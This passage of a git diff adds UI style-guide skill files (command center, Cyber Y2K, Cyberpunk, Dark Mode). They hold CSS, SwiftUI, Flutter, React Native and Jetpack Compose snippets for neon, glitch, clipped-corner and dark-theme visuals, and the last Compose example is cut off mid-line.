+```dart +class CommandCenterScreen extends StatefulWidget { + @override + State<CommandCenterScreen> createState() => _CommandCenterScreenState(); +} + +class _CommandCenterScreenState extends State<CommandCenterScreen> with SingleTickerProviderStateMixin { + late AnimationController _pulseController; + + @override + void initState() { + super.initState(); + _pulseController = AnimationController(vsync: this, duration: const Duration(seconds: 1))..repeat(reverse: true); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF030A16), // Dark NOC background + body: SafeArea( + child: Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.stretch, + children: [ + // Panel Header + Container( + padding: const EdgeInsets.all(12), + decoration: const BoxDecoration( + border: Border(bottom: BorderSide(color: Colors.cyan)), + gradient: LinearGradient(colors: [Color(0xFF1C355E), Colors.transparent]), + ), + child: const Text('GLOBAL_OPS // ALPHA', + style: TextStyle(color: Colors.cyan, fontFamily: 'Orbitron', letterSpacing: 2)), + ), + const SizedBox(height: 24), + // Map Placeholder + Expanded( + child: Container( + decoration: BoxDecoration( + shape: BoxShape.circle, + border: Border.all(color: Colors.cyan.withOpacity(0.5), width: 2), + ), + child: const Center(child: Text('RADAR ACTIVE', style: TextStyle(color: Colors.cyan))), + ), + ), + const SizedBox(height: 24), + // Animated Critical Alert + AnimatedBuilder( + animation: _pulseController, + builder: (context, child) { + return Container( + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: Colors.red.withOpacity(0.1), + border: Border.all(color: Colors.red), + boxShadow: [ + BoxShadow(color: Colors.red.withOpacity(_pulseController.value * 0.8), blurRadius: 20) + ], + ), + child: const Text('WARNING: SECTOR 7G', style: TextStyle(color: Colors.red, fontWeight: FontWeight.bold)), + ); + }, + ), + ], + ), + ), + ), + ); + } +} +``` +- A `Container` with a `LinearGradient` that fades to `Colors.transparent` is excellent for high-tech headers. +- Use `AnimatedBuilder` to manipulate the `blurRadius` and opacity of `BoxShadow` to create flashing alert panels. + +### React Native +```jsx +const CommandCenterScreen = () => { + const pulseAnim = useRef(new Animated.Value(0)).current; + + useEffect(() => { + Animated.loop( + Animated.sequence([ + Animated.timing(pulseAnim, { toValue: 1, duration: 1000, useNativeDriver: false }), + Animated.timing(pulseAnim, { toValue: 0, duration: 1000, useNativeDriver: false }) + ]) + ).start(); + }, []); + + const shadowOpacity = pulseAnim.interpolate({ inputRange: [0, 1], outputRange: [0.2, 1] }); + + return ( + <View style={{ flex: 1, backgroundColor: '#030A16', padding: 16 }}> + {/* Header Panel */} + <View style={{ + borderBottomWidth: 1, borderColor: '#00FFFF', padding: 12, backgroundColor: '#1C355E' + }}> + <Text style={{ color: '#00FFFF', fontFamily: 'monospace', letterSpacing: 2 }}> + GLOBAL_OPS // ALPHA + </Text> + </View> + + <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}> + <View style={{ + width: 250, height: 250, borderRadius: 125, borderWidth: 2, borderColor: '#00FFFF', + justifyContent: 'center', alignItems: 'center' + }}> + <Text style={{ color: '#00FFFF', opacity: 0.5 }}>SCANNING...</Text> + </View> + </View> + + {/* Critical Alert */} + <Animated.View style={{ + backgroundColor: 'rgba(255,0,0,0.1)', + borderWidth: 2, borderColor: '#FF0000', padding: 16, + shadowColor: '#FF0000', shadowRadius: 15, shadowOpacity, elevation: 10 + }}> + <Text style={{ color: '#FF0000', fontWeight: 'bold', fontSize: 18 }}>WARNING: SECTOR 7G</Text> + <Text style={{ color: '#FFF' }}>Anomalous activity detected.</Text> + </Animated.View> + </View> + ); +}; +``` +- Rely on sharp 1px or 2px borders with bright hex values (`#00FFFF`, `#FF0000`) instead of border radii. +- Keep backgrounds extremely dark navy (`#030A16`) rather than pure black to avoid OLED smearing while maintaining the NOC feel. + +### Jetpack Compose +```kotlin +@Composable +fun CommandCenterScreen() { + val infiniteTransition = rememberInfiniteTransition() + val pulseAlpha by infiniteTransition.animateFloat( + initialValue = 0.2f, + targetValue = 1.0f, + animationSpec = infiniteRepeatable( + animation = tween(1000, easing = LinearEasing), + repeatMode = RepeatMode.Reverse + ) + ) + + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFF030A16)) + .padding(16.dp) + ) { + // Header + Box( + modifier = Modifier + .fillMaxWidth() + .background(Brush.horizontalGradient(listOf(Color(0xFF1C355E), Color.Transparent))) + .border(width = 1.dp, color = Color.Cyan) // Simplified border + .padding(12.dp) + ) { + Text("GLOBAL_OPS // ALPHA", color = Color.Cyan, fontFamily = FontFamily.Monospace, letterSpacing = 2.sp) + } + + Spacer(Modifier.height(32.dp)) + + // Main Visual + Box( + modifier = Modifier + .weight(1f) + .fillMaxWidth(), + contentAlignment = Alignment.Center + ) { + Box( + modifier = Modifier + .size(250.dp) + .border(2.dp, Color.Cyan.copy(alpha = 0.5f), CircleShape), + contentAlignment = Alignment.Center + ) { + Text("SCANNING...", color = Color.Cyan.copy(alpha = 0.5f)) + } + } + + Spacer(Modifier.height(32.dp)) + + // Critical Alert + Column( + modifier = Modifier + .fillMaxWidth() + .shadow(20.dp, spotColor = Color.Red.copy(alpha = pulseAlpha), ambientColor = Color.Red.copy(alpha = pulseAlpha)) + .background(Color.Red.copy(alpha = 0.1f)) + .border(2.dp, Color.Red) + .padding(16.dp) + ) { + Text("WARNING: SECTOR 7G", color = Color.Red, fontWeight = FontWeight.Bold, fontSize = 18.sp) + Text("Anomalous activity detected.", color = Color.White) + } + } +} +``` +- Compose handles neon interfaces very well. Use `Modifier.border(..., CircleShape)` for radar rings. +- To make a container glow in Compose, you must use `Modifier.shadow` with the `spotColor` and `ambientColor` set to your neon color, bypassing the default black shadow. + +## Do's and Don'ts +- **DO**: Create a distinct visual rhythm. The screen should feel calm until a specific alert requires attention. +- **DON'T**: Fill the screen with bright, solid white panels. A command center should glow softly, not blind the user. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/cyber-y2k/SKILL.md b/antigravity-awesome-skills/skills/design-it/cyber-y2k/SKILL.md new file mode 100644 index 00000000..fec311cd --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/cyber-y2k/SKILL.md @@ -0,0 +1,312 @@ +--- +name: cyber-y2k +description: Web and App implementation guide for Cyber Y2K. Trigger when user wants modern Y2K, holographic visuals, and glitch aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Cyber Y2K + +> "Y2K, but seen through a distorted, modern lens. Darker, glitchier, and highly holographic." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Holographic Gradients**: Iridescent, oil-slick color palettes that shift as you move. +2. **Glitch Art**: Text or images that appear corrupted, split into RGB channels, or stutter. +3. **Tribal & Tribal-Tech Vectors**: Sharp, aggressive vector graphics (think early 2000s tribal tattoos mixed with circuit boards). + +## Visual DNA +- **Colors**: Deep black background. Highlights are holographic (purple, cyan, lime green, hot pink all mixed into fluid gradients). +- **Typography**: Extremely bold, stretched fonts, or highly technical monospace fonts. +- **Visuals**: CD-ROM reflections, barbed wire graphics, and heavy chromatic aberration. + +## Web Implementation +- Use CSS animations for glitching and animated background gradients. +- **CSS Example**: +```css +body { + background-color: #050505; + color: #fff; +} + +/* Holographic button */ +.cyber-y2k-btn { + background: linear-gradient(124deg, #ff2400, #e81d1d, #e8b71d, #e3e81d, #1de840, #1ddde8, #2b1de8, #dd00f3, #dd00f3); + background-size: 1800% 1800%; + animation: rainbow 18s ease infinite; + + color: #fff; + font-weight: 900; + text-transform: uppercase; + border: 1px solid rgba(255,255,255,0.5); + border-radius: 30px; + padding: 16px 32px; + mix-blend-mode: screen; /* Makes it interact with background */ +} + +@keyframes rainbow { + 0%{background-position:0% 82%} + 50%{background-position:100% 19%} + 100%{background-position:0% 82%} +} + +/* RGB Split text effect */ +.glitch-text { + position: relative; + font-family: 'Courier New', monospace; + font-size: 3rem; + font-weight: bold; +} +.glitch-text::before, .glitch-text::after { + content: attr(data-text); + position: absolute; + top: 0; left: 0; + opacity: 0.8; +} +.glitch-text::before { + color: #0ff; + z-index: -1; + transform: translate(-3px, 2px); +} +.glitch-text::after { + color: #f0f; + z-index: -2; + transform: translate(3px, -2px); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct CyberY2KView: View { + @State private var rotation: Double = 0 + + var body: some View { + ZStack { + Color.black.ignoresSafeArea() + + VStack(spacing: 40) { + // Glitch Text + ZStack { + Text("SYSTEM.ERROR") + .font(.custom("Courier New", size: 40).bold()) + .foregroundColor(.cyan) + .offset(x: -3, y: 2) // RGB split channel 1 + + Text("SYSTEM.ERROR") + .font(.custom("Courier New", size: 40).bold()) + .foregroundColor(.pink) + .offset(x: 3, y: -2) // RGB split channel 2 + + Text("SYSTEM.ERROR") + .font(.custom("Courier New", size: 40).bold()) + .foregroundColor(.white) + } + + // Holographic Button + Button(action: {}) { + Text("ENTER MATRIX") + .font(.headline.weight(.black)) + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + .background( + AngularGradient( + gradient: Gradient(colors: [.red, .yellow, .green, .cyan, .blue, .purple, .red]), + center: .center, + angle: .degrees(rotation) + ) + ) + .cornerRadius(30) + .overlay(RoundedRectangle(cornerRadius: 30).stroke(Color.white.opacity(0.5), lineWidth: 1)) + } + .onAppear { + withAnimation(.linear(duration: 5).repeatForever(autoreverses: false)) { + rotation = 360 + } + } + } + } + } +} +``` +- The RGB Glitch effect is incredibly simple in SwiftUI: stack three identical `Text` views in a `ZStack`. Give the bottom ones `.cyan` and `.pink` colors and slightly `.offset()` them. +- Use an `AngularGradient` bound to a rotating `@State` variable to achieve the iridescent CD-ROM holographic effect. + +### Flutter +```dart +class CyberY2KScreen extends StatefulWidget { + @override + State<CyberY2KScreen> createState() => _CyberY2KScreenState(); +} + +class _CyberY2KScreenState extends State<CyberY2KScreen> with SingleTickerProviderStateMixin { + late AnimationController _controller; + + @override + void initState() { + super.initState(); + _controller = AnimationController(vsync: this, duration: const Duration(seconds: 5))..repeat(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Glitch Text + Stack( + children: [ + Transform.translate(offset: const Offset(-3, 2), child: const Text('SYSTEM.ERROR', style: TextStyle(color: Colors.cyan, fontSize: 40, fontFamily: 'Courier', fontWeight: FontWeight.bold))), + Transform.translate(offset: const Offset(3, -2), child: const Text('SYSTEM.ERROR', style: TextStyle(color: Colors.pinkAccent, fontSize: 40, fontFamily: 'Courier', fontWeight: FontWeight.bold))), + const Text('SYSTEM.ERROR', style: TextStyle(color: Colors.white, fontSize: 40, fontFamily: 'Courier', fontWeight: FontWeight.bold)), + ], + ), + const SizedBox(height: 60), + // Holographic Button via ShaderMask + AnimatedBuilder( + animation: _controller, + builder: (context, child) { + return ShaderMask( + shaderCallback: (Rect bounds) { + return SweepGradient( + colors: const [Colors.red, Colors.yellow, Colors.green, Colors.cyan, Colors.blue, Colors.purple, Colors.red], + transform: GradientRotation(_controller.value * 2 * 3.14159), // Rotate through 360 degrees + ).createShader(bounds); + }, + child: Container( + decoration: BoxDecoration( + color: Colors.white, // Color to be masked by shader + borderRadius: BorderRadius.circular(30), + border: Border.all(color: Colors.white.withOpacity(0.5)), + ), + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + child: const Text('ENTER MATRIX', style: TextStyle(color: Colors.black, fontWeight: FontWeight.w900)), + ), + ); + }, + ), + ], + ), + ), + ); + } +} +``` +- In Flutter, a `ShaderMask` with a `SweepGradient` attached to an `AnimationController` creates a perfect, performant oil-slick holographic effect over any widget. +- Use `Stack` and `Transform.translate` to build the RGB glitch text. + +### React Native +```jsx +// Requires react-native-linear-gradient for complex gradients +import LinearGradient from 'react-native-linear-gradient'; + +const GlitchText = ({ text }) => { + const baseStyle = { fontSize: 40, fontFamily: 'Courier', fontWeight: 'bold', position: 'absolute' }; + return ( + <View style={{ alignItems: 'center', height: 50, justifyContent: 'center' }}> + <Text style={[baseStyle, { color: '#00FFFF', transform: [{ translateX: -3 }, { translateY: 2 }] }]}>{text}</Text> + <Text style={[baseStyle, { color: '#FF00FF', transform: [{ translateX: 3 }, { translateY: -2 }] }]}>{text}</Text> + <Text style={[baseStyle, { color: '#FFF' }]}>{text}</Text> + </View> + ); +}; + +const CyberY2KScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#050505', justifyContent: 'center', alignItems: 'center' }}> + <GlitchText text="SYSTEM.ERROR" /> + + <View style={{ marginTop: 60 }}> + {/* React Native cannot easily animate gradient angles natively. + Use a complex LinearGradient to simulate the iridescent shine. */} + <LinearGradient + colors={['#ff2400', '#e8b71d', '#1de840', '#1ddde8', '#dd00f3']} + start={{ x: 0, y: 0 }} end={{ x: 1, y: 1 }} + style={{ + borderRadius: 30, padding: 16, paddingHorizontal: 32, + borderWidth: 1, borderColor: 'rgba(255,255,255,0.5)' + }} + > + <Text style={{ color: '#FFF', fontWeight: '900' }}>ENTER MATRIX</Text> + </LinearGradient> + </View> + </View> + ); +}; +``` +- Stacked absolute `<Text>` nodes handle the RGB split glitch well. +- True animating holographic gradients (like Sweep/Angular) require `@shopify/react-native-skia`. If Skia is unavailable, use a static multi-stop `LinearGradient` as a fallback. + +### Jetpack Compose +```kotlin +@Composable +fun GlitchText(text: String) { + Box(contentAlignment = Alignment.Center) { + Text(text, color = Color.Cyan, fontSize = 40.sp, fontFamily = FontFamily.Monospace, fontWeight = FontWeight.Bold, + modifier = Modifier.offset(x = (-3).dp, y = 2.dp)) + Text(text, color = Color.Magenta, fontSize = 40.sp, fontFamily = FontFamily.Monospace, fontWeight = FontWeight.Bold, + modifier = Modifier.offset(x = 3.dp, y = (-2).dp)) + Text(text, color = Color.White, fontSize = 40.sp, fontFamily = FontFamily.Monospace, fontWeight = FontWeight.Bold) + } +} + +@Composable +fun CyberY2KScreen() { + val infiniteTransition = rememberInfiniteTransition() + val rotation by infiniteTransition.animateFloat( + initialValue = 0f, + targetValue = 360f, + animationSpec = infiniteRepeatable( + animation = tween(5000, easing = LinearEasing) + ) + ) + + Column( + modifier = Modifier.fillMaxSize().background(Color.Black), + horizontalAlignment = Alignment.CenterHorizontally, + verticalArrangement = Arrangement.Center + ) { + GlitchText("SYSTEM.ERROR") + + Spacer(Modifier.height(60.dp)) + + // Holographic Button + Box( + modifier = Modifier + .background( + brush = Brush.sweepGradient( + colors = listOf(Color.Red, Color.Yellow, Color.Green, Color.Cyan, Color.Blue, Color.Magenta, Color.Red), + center = Offset.Unspecified + ), + shape = RoundedCornerShape(30.dp) + ) + .graphicsLayer { rotationZ = rotation } // Note: This rotates the whole button. + // To rotate ONLY the gradient brush requires custom ShaderBrush or drawing the rect manually in drawBehind with a rotating matrix. + .border(1.dp, Color.White.copy(alpha = 0.5f), RoundedCornerShape(30.dp)) + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text("ENTER MATRIX", color = Color.White, fontWeight = FontWeight.Black) + } + } +} +``` +- Like other frameworks, use a `Box` to stack text with `Modifier.offset()` for glitches. +- A `Brush.sweepGradient` creates the holographic CD-ROM colors, though rotating the brush *itself* (not the whole widget) in Compose requires a bit of advanced `Matrix` manipulation inside a `ShaderBrush`. + +## Do's and Don'ts +- **DO**: Incorporate UI elements that look like raw HTML/CSS (like visible tables or marquee tags) as an ironic nod to early web. +- **DON'T**: Use clean, modern geometric layouts. Cyber Y2K is chaotic and rebellious. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/cyberpunk-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/cyberpunk-ui/SKILL.md new file mode 100644 index 00000000..f392e361 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/cyberpunk-ui/SKILL.md @@ -0,0 +1,262 @@ +--- +name: cyberpunk-ui +description: Web and App implementation guide for Cyberpunk UI. Trigger when user wants neon colors, dark backgrounds, high-tech dystopian aesthetics, and hacking interfaces. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Cyberpunk UI + +> "High tech, low life. Neon signs cutting through the smog of a dystopian megacity." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Neon on Black**: The foundation is absolute black (`#000000`) or deep charcoal, cut by searingly bright neon accents. +2. **Angled Geometries**: Clipped corners (chamfers) rather than rounded corners. UI elements often look like they were cut from metal plates. +3. **Glitch and Data**: Random streams of hexadecimal data, barcode accents, and intentional visual tearing. + +## Visual DNA +- **Colors**: Acid Yellow (`#FCE205`), Cyan (`#00FFFF`), Hot Pink (`#FF003C`), against Black. +- **Typography**: Industrial, squared-off sans-serifs (like `Rajdhani`, `Blender Pro`, or `Teko`), mixed with small monospace fonts for data. +- **Styling**: Diagonal stripes, warning tape patterns, and heavy outer glows. + +## Web Implementation +- Rely on `clip-path` for the angled cuts. +- **CSS Example**: +```css +body { + background-color: #050505; + color: #00FFFF; + font-family: 'Rajdhani', sans-serif; + background-image: repeating-linear-gradient( + 45deg, + #050505, + #050505 10px, + #0a0a0a 10px, + #0a0a0a 20px + ); +} + +.cyberpunk-button { + background-color: #FF003C; /* Cyberpunk Red/Pink */ + color: #FFF; + font-size: 1.5rem; + font-weight: bold; + text-transform: uppercase; + border: none; + padding: 16px 32px; + + /* The signature clipped corner */ + clip-path: polygon( + 0 0, + calc(100% - 15px) 0, + 100% 15px, + 100% 100%, + 15px 100%, + 0 calc(100% - 15px) + ); + + position: relative; + transition: all 0.2s ease; +} + +/* The glitch/shadow effect */ +.cyberpunk-button:hover { + background-color: #FCE205; /* Acid Yellow */ + color: #000; + box-shadow: + -4px 0 0 #00FFFF, + 4px 0 0 #FF003C; +} + +.data-stream { + font-family: monospace; + font-size: 0.8rem; + color: rgba(0, 255, 255, 0.5); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct CyberpunkShape: Shape { + let cutSize: CGFloat = 15 + func path(in rect: CGRect) -> Path { + var path = Path() + // Top left + path.move(to: CGPoint(x: 0, y: 0)) + // Top right (cut) + path.addLine(to: CGPoint(x: rect.maxX - cutSize, y: 0)) + path.addLine(to: CGPoint(x: rect.maxX, y: cutSize)) + // Bottom right + path.addLine(to: CGPoint(x: rect.maxX, y: rect.maxY)) + // Bottom left (cut) + path.addLine(to: CGPoint(x: cutSize, y: rect.maxY)) + path.addLine(to: CGPoint(x: 0, y: rect.maxY - cutSize)) + path.closeSubpath() + return path + } +} + +struct CyberButton: View { + var body: some View { + Button(action: {}) { + Text("SYS.OVERRIDE") + .font(.custom("Rajdhani", size: 24)) + .fontWeight(.bold) + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + } + .background(Color(red: 1.0, green: 0.0, blue: 0.24)) // Cyberpunk Red + .clipShape(CyberpunkShape()) + .overlay( + CyberpunkShape() + .stroke(Color(red: 0.0, green: 1.0, blue: 1.0), lineWidth: 2) // Cyan border + ) + } +} +``` +- Define a custom `Shape` that physically cuts off the corners, bypassing standard `cornerRadius`. +- Use `.clipShape()` for the background, and `.overlay()` with `.stroke()` for high-tech borders. + +### Flutter +```dart +class CyberpunkClipper extends CustomClipper<Path> { + final double cutSize = 15.0; + + @override + Path getClip(Size size) { + Path path = Path(); + path.lineTo(size.width - cutSize, 0); // Top right cut start + path.lineTo(size.width, cutSize); // Top right cut end + path.lineTo(size.width, size.height); + path.lineTo(cutSize, size.height); // Bottom left cut start + path.lineTo(0, size.height - cutSize);// Bottom left cut end + path.close(); + return path; + } + + @override + bool shouldReclip(CustomClipper<Path> oldClipper) => false; +} + +class CyberButton extends StatelessWidget { + @override + Widget build(BuildContext context) { + return ClipPath( + clipper: CyberpunkClipper(), + child: Container( + color: const Color(0xFFFF003C), // Cyberpunk Red + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + child: const Text( + 'SYS.OVERRIDE', + style: TextStyle( + color: Colors.white, + fontSize: 24, + fontWeight: FontWeight.bold, + fontFamily: 'Rajdhani', + ), + ), + ), + ); + } +} +``` +- Extend `CustomClipper<Path>` to calculate the precise angular cuts. +- Wrap your containers in `ClipPath`. +- For borders, you must use a `CustomPaint` with a `CustomPainter` that traces the exact same path. + +### React Native +```jsx +import Svg, { Polygon } from 'react-native-svg'; + +const CyberButton = () => { + return ( + <View style={{ alignItems: 'center', justifyContent: 'center', width: 200, height: 60 }}> + {/* Background SVG to achieve the clipped corner look */} + <View style={{ position: 'absolute', top: 0, bottom: 0, left: 0, right: 0 }}> + <Svg height="100%" width="100%" viewBox="0 0 200 60" preserveAspectRatio="none"> + <Polygon + points="0,0 185,0 200,15 200,60 15,60 0,45" + fill="#FF003C" + stroke="#00FFFF" + strokeWidth="2" + /> + </Svg> + </View> + + <Text style={{ + color: '#FFF', + fontSize: 20, + fontWeight: 'bold', + fontFamily: 'Rajdhani-Bold' + }}> + SYS.OVERRIDE + </Text> + </View> + ); +}; +``` +- React Native does not natively support clipping paths on views easily. +- **Solution**: Use `react-native-svg` to draw a `<Polygon>` that acts as the absolute-positioned background behind transparent text. + +### Jetpack Compose +```kotlin +class CyberpunkShape(private val cutSize: Dp) : Shape { + override fun createOutline( + size: Size, + layoutDirection: LayoutDirection, + density: Density + ): Outline { + val cutPx = with(density) { cutSize.toPx() } + val path = Path().apply { + moveTo(0f, 0f) + lineTo(size.width - cutPx, 0f) + lineTo(size.width, cutPx) + lineTo(size.width, size.height) + lineTo(cutPx, size.height) + lineTo(0f, size.height - cutPx) + close() + } + return Outline.Generic(path) + } +} + +@Composable +fun CyberButton() { + Box( + modifier = Modifier + .clip(CyberpunkShape(15.dp)) + .background(Color(0xFFFF003C)) + .border(2.dp, Color(0xFF00FFFF), CyberpunkShape(15.dp)) + .clickable { } + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text( + text = "SYS.OVERRIDE", + color = Color.White, + fontSize = 24.sp, + fontWeight = FontWeight.Bold, + // Assuming custom font is loaded + ) + } +} +``` +- Create a custom `Shape` by overriding `createOutline` and tracing the `Path`. +- Pass this shape directly into `Modifier.clip()` and `Modifier.background()`. +- You can elegantly apply a border stroke directly to the custom shape using `Modifier.border()`. + +## Do's and Don'ts +- **DO**: Include tiny, meaningless technical details (crosshairs, serial numbers, "SYS.OVERRIDE" text). +- **DON'T**: Use soft, organic curves or gradients. It must be sharp and aggressive. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/dark-mode/SKILL.md b/antigravity-awesome-skills/skills/design-it/dark-mode/SKILL.md new file mode 100644 index 00000000..07fb3fac --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/dark-mode/SKILL.md @@ -0,0 +1,289 @@ +--- +name: dark-mode +description: Web and App implementation guide for Dark Mode Design. Trigger when user wants dark surfaces, reduced eye strain, and premium sleek aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Dark Mode Design + +> "Not just inverted colors. A carefully constructed hierarchy of light on dark." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Never Pure Black**: True `#000000` causes smearing on OLED screens and extreme eye strain with white text. Use dark greys (e.g., `#121212` or `#0A0A0A`). +2. **Elevation via Lightness**: In light mode, shadows show elevation. In dark mode, shadows are invisible, so elevated surfaces must be lighter than the background. +3. **Desaturated Accents**: Saturated colors vibrate painfully against dark backgrounds. Tone down the saturation of brand colors. + +## Visual DNA +- **Colors**: **Midnight Luxury** or **Minimalist Slate** (inverted). Background `#121212`. Elevated cards `#1E1E1E`, `#252525`. Primary text `#E1E1E1` (not `#FFFFFF`). +- **Typography**: Standard highly readable sans-serifs, but often dropped down one font weight compared to light mode, as light text on dark backgrounds appears optically thicker. +- **Shadows**: Pure black shadows, but with much lower opacity, mostly to separate slightly different shades of grey. + +## Web Implementation +- **CSS Example**: +```css +:root { + --bg-base: #121212; + --bg-elevated-1: #1E1E1E; + --bg-elevated-2: #242424; + --text-high-emphasis: rgba(255, 255, 255, 0.87); + --text-medium-emphasis: rgba(255, 255, 255, 0.60); + + /* Accent color: Desaturated purple instead of bright purple */ + --accent-color: #BB86FC; +} + +body { + background-color: var(--bg-base); + color: var(--text-high-emphasis); + font-weight: 300; /* Thinner weight for dark mode */ +} + +.dark-card { + background-color: var(--bg-elevated-1); + border-radius: 8px; + padding: 24px; + + /* Very subtle border can help separate dark surfaces */ + border: 1px solid rgba(255, 255, 255, 0.05); +} + +.dark-card:hover { + /* On hover, the element moves closer to the user, so it gets lighter */ + background-color: var(--bg-elevated-2); +} + +.dark-btn { + background-color: var(--accent-color); + color: #000; /* Dark text on light accent is highly readable */ + font-weight: 600; + border: none; + padding: 12px 24px; + border-radius: 4px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct DarkModeView: View { + // Force Dark Mode on this specific view (or use system settings) + @Environment(\.colorScheme) var colorScheme + + var body: some View { + ScrollView { + VStack(spacing: 20) { + // Primary elevated card + VStack(alignment: .leading, spacing: 12) { + Text("Elevation via Lightness") + .font(.headline) + .foregroundColor(.primary) // Auto-adapts + Text("In dark mode, elevated surfaces are lighter grey, not shadowed.") + .font(.subheadline) + .foregroundColor(.secondary) // Auto-adapts + } + .padding() + .frame(maxWidth: .infinity, alignment: .leading) + // Use native semantic colors. .secondarySystemBackground is lighter than .systemBackground + .background(Color(UIColor.secondarySystemBackground)) + .cornerRadius(12) + + // Desaturated Accent Button + Button(action: {}) { + Text("Desaturated Accent") + .fontWeight(.semibold) + .foregroundColor(.black) // Dark text on light accent + .padding() + .frame(maxWidth: .infinity) + .background(Color(red: 0.73, green: 0.52, blue: 0.98)) // #BB86FC (Desaturated purple) + .cornerRadius(8) + } + } + .padding() + } + // #121212 is the standard dark mode background, which systemBackground maps to closely + .background(Color(UIColor.systemBackground)) + } +} +// .preferredColorScheme(.dark) to force +``` +- **Rely on Semantics**: SwiftUI's `Color.primary`, `Color.secondary`, `Color(UIColor.systemBackground)` and `Color(UIColor.secondarySystemBackground)` handle perfect dark mode transitions automatically. +- Avoid forcing explicit hex codes for backgrounds unless you are building a custom-themed app. + +### Flutter +```dart +import 'package:flutter/material.dart'; + +class DarkModeApp extends StatelessWidget { + @override + Widget build(BuildContext context) { + return MaterialApp( + // Configure the Dark Theme + themeMode: ThemeMode.dark, + darkTheme: ThemeData.dark().copyWith( + scaffoldBackgroundColor: const Color(0xFF121212), // Standard dark background + cardColor: const Color(0xFF1E1E1E), // Elevated surface + colorScheme: const ColorScheme.dark().copyWith( + primary: const Color(0xFFBB86FC), // Desaturated accent + onPrimary: Colors.black, // Dark text on light accent + surface: const Color(0xFF1E1E1E), + ), + ), + home: Scaffold( + appBar: AppBar(title: const Text('Dark Mode', style: TextStyle(color: Colors.white70))), + body: ListView( + padding: const EdgeInsets.all(16), + children: [ + Card( + elevation: 0, // Shadows don't show well anyway + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.circular(12), + side: BorderSide(color: Colors.white.withOpacity(0.05)), // Subtle border + ), + child: const Padding( + padding: EdgeInsets.all(16.0), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text('Elevation via Lightness', style: TextStyle(fontSize: 18, fontWeight: FontWeight.bold)), + SizedBox(height: 8), + Text('Elevated surfaces use lighter greys.', style: TextStyle(color: Colors.white60)), + ], + ), + ), + ), + const SizedBox(height: 20), + ElevatedButton( + onPressed: () {}, + child: const Text('Desaturated Accent'), + ), + ], + ), + ), + ); + } +} +``` +- When using `ThemeData.dark()`, actively override `scaffoldBackgroundColor` to `#121212` and `cardColor` to `#1E1E1E`. +- Ensure your `colorScheme.onPrimary` is black so text is readable when placed on top of your desaturated primary accent button. + +### React Native +```jsx +import { useColorScheme } from 'react-native'; + +const DarkModeScreen = () => { + const isDark = useColorScheme() === 'dark'; + + // Custom dark theme dictionary + const theme = { + bgBase: isDark ? '#121212' : '#FFFFFF', + bgElevated: isDark ? '#1E1E1E' : '#F5F5F5', + textHigh: isDark ? 'rgba(255, 255, 255, 0.87)' : 'rgba(0, 0, 0, 0.87)', + textMedium: isDark ? 'rgba(255, 255, 255, 0.60)' : 'rgba(0, 0, 0, 0.60)', + accent: isDark ? '#BB86FC' : '#6200EE', // Desaturated for dark, vibrant for light + onAccent: isDark ? '#000' : '#FFF', + }; + + return ( + <View style={{ flex: 1, backgroundColor: theme.bgBase, padding: 16 }}> + <View style={{ + backgroundColor: theme.bgElevated, + padding: 24, + borderRadius: 12, + borderWidth: isDark ? 1 : 0, + borderColor: 'rgba(255,255,255,0.05)', + marginBottom: 20 + }}> + <Text style={{ color: theme.textHigh, fontSize: 18, fontWeight: 'bold', marginBottom: 8 }}> + Elevation via Lightness + </Text> + <Text style={{ color: theme.textMedium }}> + Elevated surfaces use lighter greys. + </Text> + </View> + + <TouchableOpacity style={{ + backgroundColor: theme.accent, + padding: 16, + borderRadius: 8, + alignItems: 'center' + }}> + <Text style={{ color: theme.onAccent, fontWeight: 'bold' }}>Desaturated Accent</Text> + </TouchableOpacity> + </View> + ); +}; +``` +- Rely on `useColorScheme()` hook from React Native. +- Define a strict dictionary of your color tokens. Notice how `theme.accent` shifts from a vibrant purple (`#6200EE`) in light mode to a desaturated pastel purple (`#BB86FC`) in dark mode. + +### Jetpack Compose +```kotlin +@Composable +fun DarkModeScreen() { + // Typically this logic lives in your Theme.kt + val 